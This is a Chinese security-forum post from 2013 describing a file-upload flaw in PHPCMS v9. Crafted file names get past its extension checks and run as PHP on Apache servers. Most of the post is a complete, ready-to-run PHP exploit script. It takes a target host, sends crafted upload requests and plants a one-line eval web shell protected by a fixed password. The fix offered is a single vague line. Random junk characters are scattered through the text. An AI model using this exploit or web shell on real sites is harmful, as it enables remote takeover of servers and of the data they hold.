找回密码
 立即注册
查看: 2994|回复: 0
打印 上一主题 下一主题

PHPCMS v9 Getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-7 13:06:41 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
漏洞类型: 文件上传导致任意代码执行
' P6 }* G7 W% ]
- q4 D+ d% o7 {. o3 M8 M: Y. ]简要描述:
8 G3 H% D8 I3 p
: f+ V, p/ I( `$ L. V" J; Jphpcms v9 getshell (apache)
. S, a. e4 [5 G% [. V/ q+ Z0 R详细说明:
: s; m1 n" T1 D" b+ m; t7 j& c+ Z. P
漏洞文件:phpcms\modules\attachment\attachments.php
( P* J" c+ X6 W: t* }/ v" z4 U* j: \! y6 J" b, i7 N& j2 K  b) y
public function crop_upload() {  (isset($GLOBALS["HTTP_RAW_POST_DATA"])) {  $pic = $GLOBALS["HTTP_RAW_POST_DATA"];  if (isset($_GET['width']) && !empty($_GET['width'])) {  $width = intval($_GET['width']);  }  if (isset($_GET['height']) && !empty($_GET['height'])) {  $height = intval($_GET['height']);  }  if (isset($_GET['file']) && !empty($_GET['file'])) {  $_GET['file'] = str_replace(';','',$_GET['file']);//过滤了分号  if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();//is_image()检测是个关键  if (strpos($_GET['file'], pc_base::load_config('system', 'upload_url'))!==false) {  $file = $_GET['file'];  $basenamebasename = basename($file);//获取带有后缀的文件名  if (strpos($basename, 'thumb_')!==false) {  $file_arr = explode('_', $basename);  $basename = array_pop($file_arr);  }  $new_file = 'thumb_'.$width.'_'.$height.'_'.$basename;  } else {  pc_base::load_sys_class('attachment','',0);  $module = trim($_GET['module']);  $catid = intval($_GET['catid']);  $siteid = $this->get_siteid();  $attachment = new attachment($module, $catid, $siteid);  $uploadedfile['filename'] = basename($_GET['file']);  $uploadedfile['fileext'] = fileext($_GET['file']);  if (in_array($uploadedfile['fileext'], array('jpg', 'gif', 'jpeg', 'png', 'bmp'))) {  $uploadedfile['isimage'] = 1;  }  $file_path = $this->upload_path.date('Y/md/');  pc_base::load_sys_func('dir');  dir_create($file_path);  $new_file = date('Ymdhis').rand(100, 999).'.'.$uploadedfile['fileext'];  $uploadedfile['filepath'] = date('Y/md/').$new_file;  $aid = $attachment->add($uploadedfile);  }  $filepath = date('Y/md/');  file_put_contents($this->upload_path.$filepath.$new_file, $pic);//文件名可控、$pic可控  } else {  return false;  }  echo pc_base::load_config('system', 'upload_url').$filepath.$new_file;  exit;  }  }
' j% \6 \& R' E: s后缀检测:phpcms\modules\attachment\functions\global.func.php
' N/ O" S- ]* N4 N) L5 W* x+ r( ?
& v7 y9 O2 ^, i! |7 P, M4 Z2 m
7 c0 [; b: a  W7 q
  a  }: ^9 l* ^$ h* ]function is_image($file) {    $ext_arr = array('jpg','gif','png','bmp','jpeg','tiff');    $ext = fileext($file);关键地方    return in_array($ext,$ext_arr) ? $ext_arr :false;   }  & \4 F; ?3 s2 e& ~6 S

( Q3 t1 t+ j2 P1 z% C0 a# `关键函数:
* w% n0 E; `+ U3 }) b& x. b1 `. d9 {
) H1 I) R/ z+ E( s9 V% u6 H
  J* q0 c! Q/ F3 U0 L+ c% u
* m: x) Y% f# dfunction fileext($filename) {  return strtolower(trim(substr(strrchr($filename, '.'), 1, 10))); }  
* U  K" N! i; m( I3 \* L- w( g; F
# Q" l( m0 t& x6 c! {4 h  Fileext函数是对文件后缀名的提取。
" t8 {2 }" \8 D# u" ^1 b6 \0 l根据此函数我们如果上传文件名为ddd.Php.jpg%20%20%20%20%20%20%20Php; a9 m: {4 s6 E: z0 e% x
经过此函数提取到的后缀还是jpg,因此正在is_image()函数中后缀检测被绕过了。
. @8 I1 h0 |" v# @我们回到public function crop_upload() 函数中3 J8 A" M* L: H& k
if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();
# A: y. m: c$ a9 u在经过了is_image的判断之后又来了个.php的判断,在此程序员使用的是strpos函数
4 g# }0 {% a# y4 l) [% `. y5 z' g这个函数是对大小写敏感的函数我们使用.Php就可以直接绕过了。
% ^0 l1 @4 Q" V5 h4 S7 F# S经过上边的两层的过滤我们的ddd.Php.jpg%20%20%20%20%20%20%20Php后缀依然有效。
' {' C4 N, E! B/ w8 O0 X最后$basename变量的值就为ddd.Php.jpg%20%20%20%20%20%20%20Php 然后使用file_put_contents函数写入到了指定目录。
" ^7 W6 F2 |$ p' L/ U/ {2 Y看见ddd.Php.jpg%20%20%20%20%20%20%20Php这个后缀,大家应该明白了,它用在apache搭建的服务器上可以被解析。
! b- Y* Q0 @: R  A; X& n漏洞证明:
, }7 J% K9 @: q' @1 }5 u( E5 y5 g6 t7 }( C% q
exp:& S. z7 V4 X2 s

" s+ g, S9 s4 }<?php
2 s5 a4 P3 j" b  o  L$ C' qerror_reporting(E_ERROR);
4 o+ |! r9 B% o; ?, [& iset_time_limit(0);
. Y8 d+ }9 a5 j. s$pass="ln";$ y& P. ^1 o3 Q0 @7 a' j
print_r(') D% V1 v2 e) j1 S/ `9 C/ G
+---------------------------------------------------------------------------+- ?7 k& }+ g3 ?) T
PHPCms V9 GETSHELL 0DAY 8 b  k9 w6 z" z' F9 Q
code by L.N.* w/ s! z" _7 j* t
  h) o% ~8 d- F* w
apache 适用(利用的apache的解析漏洞) // 云安全 www.yunsec.net: _- g" L( |9 |) O
+---------------------------------------------------------------------------+
$ |  D4 l# B/ o, i4 p6 d$ H');
$ B" R+ c7 ]. eif ($argc < 2) {
5 ?3 b2 W. b6 A' P. Z3 B$ Iprint_r('
1 t: N% V/ W1 Z7 I+---------------------------------------------------------------------------+0 }( v  s/ j& x- X) X
Usage: php '.$argv[0].' url path
$ C1 y, Z& q' M! J& y7 }5 r( T& n9 |* Q& [+ s- A
Example:
% E/ ^; B$ ~' w+ p) M6 X* b* o# D0 X1.php '.$argv[0].' lanu.sinaapp.com
8 _) e4 A1 ^& e- _$ w2.php '.$argv[0].' lanu.sinaapp.com /phpcms
- F5 B" |  P0 g9 E' B0 s2 r6 Q+---------------------------------------------------------------------------+
0 {$ c: g; A! Y' l');
2 u% R; i  S0 ^6 x- L: Texit;! G* X1 _) l) @4 t6 n
}$ L- `- J- p/ ^: I, u# ]1 }

0 ~- A: e9 u, I* a# g$url = $argv[1];& h% @/ E6 l3 O  }8 |
$path = $argv[2];
" ~. W' g5 M. g$phpshell = '<?php @eval($_POST[\''.$pass.'\']);?>';2 p, S- v! h2 b, f8 `' t
$file = '1.thumb_.Php.JPG%20%20%20%20%20%20%20Php';, f0 G# m! G' D* Y5 e
if($ret=Create_dir($url,$path))% W( L1 ^6 V; n5 r, Y% P
{
8 L. {2 y- D! `/ j9 ~5 x$ C6 b$ h//echo $ret;. h$ M5 H/ E/ [
$pattern = "|Server:[^,]+?|U";6 E$ g$ B2 v! E5 b/ M: Z) L& o
preg_match_all($pattern, $ret, $matches);+ E' z8 B0 S% Z2 q. z% d
if($matches[0][0]): T( R- J5 l# G" ^
{
  r# z: O" W* M* v" B. s+ aif(strpos($matches[0][0],'Apache') == false)3 y  r& h  f! O+ o9 z% _
{
! J6 b* q$ w& U7 X. |- }6 Zecho "\n亲!此网站不是apache的网站。\n";exit;, ]1 |8 v$ S: j* M& j" y
}
) A+ |& Y1 U/ _, [1 m' [}( P% b) a6 r/ x4 L4 N4 z
$ret = GetShell($url,$phpshell,$path,$file);3 ~+ ~2 V9 ]) O0 o
$pattern = "|http:\/\/[^,]+?\.,?|U";
6 g, I3 k; A& \8 o# Kpreg_match_all($pattern, $ret, $matches);
6 K+ K" o2 B8 y# h, ]% Y  eif($matches[0][0])
2 Z4 |5 b( F2 w. I0 E4 E4 z: ]) Y{' h  E8 A  _( p. i
echo "\n".'密码为: '.$pass."\n";3 Q' A; |) P# H) F+ r4 V5 I! _
echo "\r\nurl地址: ".$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;
  J9 G, Q/ D1 Z5 T; E9 x# i% o  p}/ n/ t( I! x3 ^5 ~3 ?6 p; T
else
+ k5 n4 P  e7 R; b{! A4 d0 l' @, L7 t
$pattern = "|\/uploadfile\/[^,]+?\.,?|U";: u6 Z- X# M8 d& d' D
preg_match_all($pattern, $ret, $matches);1 ^7 a0 n' X; |! e  D+ p) c! ~/ b
if($matches[0][0])
' T& S8 D% ~4 K# i/ D* V{
. }' t: b! l. L4 z" H0 fecho "\n".'密码为: '.$pass."\n";* Z& I5 W/ e1 j! ~" B- C/ }. z" L
echo "\r\nurl地址:".'http://'.$url.$path.$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;
6 G  j; n6 k: A) q+ x" ^9 r}
: u6 u6 N- ?3 ]  D! Y- Belse( i+ n/ o* K0 S8 W; @' j) S
{1 d* T+ l5 t7 ^  M& f
echo "\r\n没得到!\n";exit;
, q9 d! |) h: p8 D7 I! V, {}
/ P4 u3 y( {  b1 b6 X3 k}
: Y1 Z- p9 [, r' i3 M9 ~/ T/ a}
7 P5 x, J( G; H* g
5 n/ a, U& z* C1 o; Z! V$ L$ Rfunction GetShell($url,$shell,$path,$js)
8 ]: q" I/ [3 L* V" ^" j- d: q{
) @* Q& ]( x2 V$content =$shell;
( ?$ @$ I" q& e0 K2 S$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://".$url.$path."/uploadfile/".$js." HTTP/1.1\r\n";2 T% v' i) t  K; h
$data .= "Host: ".$url."\r\n";
/ q- H0 N3 O4 H9 f% N$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";& {" Y4 D. E. J# e/ A5 n
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
' |) I& z( O" [# S7 m$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";+ G2 f1 y7 z4 y5 P0 A) M& r! N
$data .= "Connection: close\r\n";, F- E$ Q, Y5 D6 R9 h7 I/ b# ~
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
1 G$ c/ W5 y1 t$data .= $content."\r\n";4 h2 q5 x+ B3 m
$ock=fsockopen($url,80);4 c4 _* g! v4 W3 y: c3 U6 y( }
if (!$ock)4 P8 {+ F  X1 A; S+ p0 Q9 \
{
7 V' z/ B+ `3 C! A1 l( g/ g$ q0 Uecho "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;
" |8 ?2 i" |0 K' l- V! ?+ g}
+ t% k4 j7 l9 h* O2 o3 w8 f. q% jelse3 {. {9 Y9 g) E8 |
{5 I5 g0 ^1 {: G$ M' Q7 }. V0 ?; M# S
fwrite($ock,$data);& Q. D  C7 a8 G% o# k
$resp = '';7 i" q5 @+ S$ x. f; h
while (!feof($ock))
0 J6 C: L3 r) s{
6 P; f( @) u2 O! |& z: U$resp.=fread($ock, 1024);& U; I' M9 K$ L! I4 f
}0 T9 I3 j  t1 p7 b' U, v: E; ^- ~+ P: c
return $resp;; b/ D  |2 C" s- z  t* }
}2 n+ y4 E2 Q$ @7 ]
}
0 \* M: x# Q! E+ C0 V6 y/ D" u1 e; M4 Q4 @. j
function Create_dir($url,$path='')
% {6 x0 u  s6 C/ h3 S* d{
, ^5 M. T+ P, f0 p- L6 U$content ='I love you';
# J2 Y4 G# S  e- m$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://lanu.sinaapp.com/1.jpg HTTP/1.1\r\n";
  {0 m- C: e' O8 L1 {# Z4 s& J$data .= "Host: ".$url."\r\n";# Y3 ?2 n2 i; ^
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
4 U; |% ^3 P- Q! |" |5 A$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
, }+ a! Z4 L% q0 M" f" N) H' y( G$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
" T; g3 X. R1 l$ S: \! w$data .= "Connection: close\r\n";
9 A2 Y2 F+ u/ u6 U, h/ I$data .= "Content-Length: ".strlen($content)."\r\n\r\n";7 y7 f6 d5 G1 ?1 x% k" S& K' w
$data .= $content."\r\n";
* n$ T. p; V2 a2 q. `$ock=fsockopen($url,80);
, m% ]! [7 d: D; M; lif (!$ock)
8 @9 V' T' `) p, v5 ?6 m{
& B. E: Z* Q! a5 {6 n) Aecho "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;* I6 d! D; l' ^, v
}
/ f4 {2 v8 X9 k& Kfwrite($ock,$data);+ w) l* @9 C2 p8 G+ C! N4 ~, X, S8 n
$resp = '';
) K% ~5 E5 e* z8 n0 P' b1 zwhile (!feof($ock))# }+ X9 W4 ^" j4 ^2 O8 N2 e
{
# B2 O' v8 z/ n$ E7 j- g$resp.=fread($ock, 1024);( [* m& z1 g( k" }6 y9 @9 p
}
; \2 W' g! }- A# a/ A9 |return $resp;
3 ?* ?; D5 A1 s' K' y) n}
2 j) u/ V$ s$ ?# L3 A5 q?> * O" M+ E. T8 i( Q8 r8 n4 \* d
2 x3 B5 v/ R) S# z
修复方案:2 d5 |8 K+ g7 M% ?5 h5 _
4 n" D4 ~# e; y* r3 ?9 u' ]
过滤过滤再过滤
3 }5 r4 F  @+ _
: a. o" Z! M# c& \
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表